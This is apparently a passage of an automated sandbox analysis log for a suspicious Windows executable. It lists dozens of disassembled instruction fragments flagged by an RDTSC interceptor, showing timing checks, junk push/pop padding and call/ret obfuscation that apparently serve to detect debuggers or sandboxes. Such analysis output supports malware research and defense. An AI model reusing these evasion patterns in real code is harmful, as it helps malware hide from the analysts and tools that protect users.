Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE6186 second address: DE6192 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE6192 second address: DE6198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE6198 second address: DE61B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FADBDAB6922h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE61B4 second address: DE61BE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FADBC8905A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE65F1 second address: DE65F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE677E second address: DE6782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE7F89 second address: DE7F8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE7FCC second address: DE7FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE7FD3 second address: DE7FD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE80A5 second address: DE812E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jns 00007FADBC8905BCh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 jg 00007FADBC8905A6h 0x0000001b pop ebx 0x0000001c jo 00007FADBC8905ACh 0x00000022 jnp 00007FADBC8905A6h 0x00000028 popad 0x00000029 pop eax 0x0000002a mov ecx, dword ptr [ebp+122D1F21h] 0x00000030 lea ebx, dword ptr [ebp+12452EB9h] 0x00000036 jmp 00007FADBC8905AEh 0x0000003b xchg eax, ebx 0x0000003c jne 00007FADBC8905BBh 0x00000042 push eax 0x00000043 pushad 0x00000044 jmp 00007FADBC8905ADh 0x00000049 push eax 0x0000004a push edx 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE81E8 second address: DE81EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE81EC second address: DE8216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D28D2h], ecx 0x00000011 push 00000000h 0x00000013 mov edi, ebx 0x00000015 push F9EC5B80h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jc 00007FADBC8905A6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE8216 second address: DE8220 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE8437 second address: DE843D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DFA4D6 second address: DFA4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DFA4DA second address: DFA4E4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E08A26 second address: E08A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E08A2A second address: E08A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DD8965 second address: DD8969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DD8969 second address: DD8977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FADBC8905A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E06A64 second address: E06A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E06F2A second address: E06F46 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FADBC8905A6h 0x00000008 jmp 00007FADBC8905AEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E070B4 second address: E070B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E070B9 second address: E070EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 js 00007FADBC8905ACh 0x0000000d jc 00007FADBC8905A6h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007FADBC8905B6h 0x0000001d jmp 00007FADBC8905B0h 0x00000022 jl 00007FADBC8905A8h 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E070EE second address: E070F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E07271 second address: E07277 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073C3 second address: E073C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073C8 second address: E073D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007FADBC8905A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073D4 second address: E073D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073D8 second address: E073DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073DE second address: E073ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073ED second address: E073FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905ABh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E073FD second address: E07402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DCE784 second address: DCE78F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FADBC8905A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E08170 second address: E08178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E082ED second address: E082F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E085B1 second address: E085FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007FADBDAB6921h 0x0000000d jmp 00007FADBDAB6927h 0x00000012 jmp 00007FADBDAB6929h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0ACB9 second address: E0ACDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905AFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FADBC8905ACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0ACDA second address: E0ACF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FADBDAB6916h 0x0000000a jmp 00007FADBDAB6925h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0ACF9 second address: E0ACFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0CC16 second address: E0CC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0CC1A second address: E0CC1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E0CC1E second address: E0CC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EA9 second address: E12EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EAF second address: E12EC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB691Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EC2 second address: E12EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EC8 second address: E12EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FADBDAB691Ch 0x00000008 jmp 00007FADBDAB6925h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EEE second address: E12EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E12EF9 second address: E12EFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1307F second address: E13089 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E13089 second address: E130A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FADBDAB6925h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E130A8 second address: E130AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1325D second address: E13262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E13615 second address: E1361B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1361B second address: E13636 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FADBDAB691Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FADBDAB6916h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E13636 second address: E1363A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E137D7 second address: E137E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FADBDAB691Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16B5B second address: E16B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16B5F second address: E16B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FADBDAB6921h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16C26 second address: E16CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FADBC8905A6h 0x0000000a popad 0x0000000b pop edi 0x0000000c xor dword ptr [esp], 23DAA65Ch 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FADBC8905A8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d add di, 5379h 0x00000032 movsx esi, bx 0x00000035 call 00007FADBC8905A9h 0x0000003a jng 00007FADBC8905AEh 0x00000040 push eax 0x00000041 push ecx 0x00000042 jmp 00007FADBC8905B3h 0x00000047 pop ecx 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c jp 00007FADBC8905BBh 0x00000052 mov eax, dword ptr [eax] 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 push edi 0x00000058 pop edi 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16CB6 second address: E16CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16CC0 second address: E16CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16CC4 second address: E16CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c je 00007FADBDAB6924h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16CDA second address: E16CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1731A second address: E17329 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E17951 second address: E179AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FADBC8905BFh 0x0000000c popad 0x0000000d mov dword ptr [esp], ebx 0x00000010 call 00007FADBC8905B2h 0x00000015 sub edi, 453264C1h 0x0000001b pop edi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FADBC8905B5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E179AD second address: E179B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E17CFE second address: E17D08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E17F89 second address: E17F8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1859D second address: E185A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E185A1 second address: E185A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1C6A1 second address: E1C6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FADBC8905A6h 0x0000000a popad 0x0000000b jmp 00007FADBC8905AAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1989F second address: E198A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1C6B6 second address: E1C6BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1E355 second address: E1E35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1E35B second address: E1E35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1E35F second address: E1E3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FADBDAB6918h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov di, ax 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007FADBDAB6918h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 push 00000000h 0x00000044 and si, 73F0h 0x00000049 mov edi, dword ptr [ebp+122D28BDh] 0x0000004f xchg eax, ebx 0x00000050 jmp 00007FADBDAB691Eh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 pushad 0x0000005a popad 0x0000005b pop eax 0x0000005c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1E3D0 second address: E1E3D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1ED88 second address: E1ED98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007FADBDAB6924h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1ED98 second address: E1ED9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1F725 second address: E1F72A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1F72A second address: E1F796 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b clc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FADBC8905A8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 jmp 00007FADBC8905AAh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FADBC8905A8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 jng 00007FADBC8905ADh 0x0000004f push edi 0x00000050 or di, 78D0h 0x00000055 pop edi 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushad 0x0000005b popad 0x0000005c push ebx 0x0000005d pop ebx 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E201AB second address: E201B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E201B1 second address: E20251 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FADBC8905B1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FADBC8905ACh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FADBC8905A8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov si, ax 0x0000002e or dword ptr [ebp+122D27D1h], ebx 0x00000034 push 00000000h 0x00000036 call 00007FADBC8905AAh 0x0000003b jmp 00007FADBC8905B2h 0x00000040 pop esi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007FADBC8905A8h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d xor dword ptr [ebp+1247F6A0h], esi 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 js 00007FADBC8905ACh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1FF43 second address: E1FF5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6925h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DD39C3 second address: DD39C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1FF5C second address: E1FF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
